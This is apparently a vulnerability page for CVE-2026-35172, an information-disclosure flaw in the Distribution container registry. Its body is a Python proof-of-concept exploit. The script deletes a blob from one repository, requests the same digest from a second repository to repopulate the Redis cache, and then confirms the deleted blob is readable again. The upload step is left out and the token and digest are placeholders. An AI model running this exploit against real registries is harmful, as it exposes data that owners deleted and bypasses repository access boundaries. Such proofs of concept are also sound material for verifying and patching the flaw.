CVE-2026-35172 Distribution信息泄露漏洞

# Proof of Concept Concept for CVE-2026-35172 # Prerequisites: Distribution < 3.1.0, Redis cache enabled, delete enabled. import requests REGISTRY_URL = "http://target-registry:5000" HEADERS = {"Authorization": "Bearer <token>"} BLOB_DIGEST = "sha256:abc123..." # 1. Upload a blob to Repo A print("[+] Step 1: Uploading blob to Repo A") # ... upload logic ... # 2. Delete the blob from Repo A print("[+] Step 2: Deleting blob from Repo A") del_url = f"{REGISTRY_URL}/v2/repo-a/blobs/{BLOB_DIGEST}" r = requests.delete(del_url, headers=HEADERS) print(f"Delete status: {r.status_code}") # 3. Access the same blob from Repo B (Stat or Get) # This triggers Redis cache repopulation print("[+] Step 3: Accessing blob from Repo B to trigger cache repopulation") stat_url_b = f"{REGISTRY_URL}/v2/repo-b/blobs/{BLOB_DIGEST}" r = requests.head(stat_url_b, headers=HEADERS) print(f"Stat Repo B status: {r.status_code}") # 4. Try to read the blob from Repo A again # Exploit: The blob should be readable again in Repo A print("[+] Step 4: Verifying blob access in Repo A") get_url_a = f"{REGISTRY_URL}/v2/repo-a/blobs/{BLOB_DIGEST}" r = requests.get(get_url_a, headers=HEADERS) if r.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Deleted blob is readable in Repo A") else: print("[-] Failed to reproduce")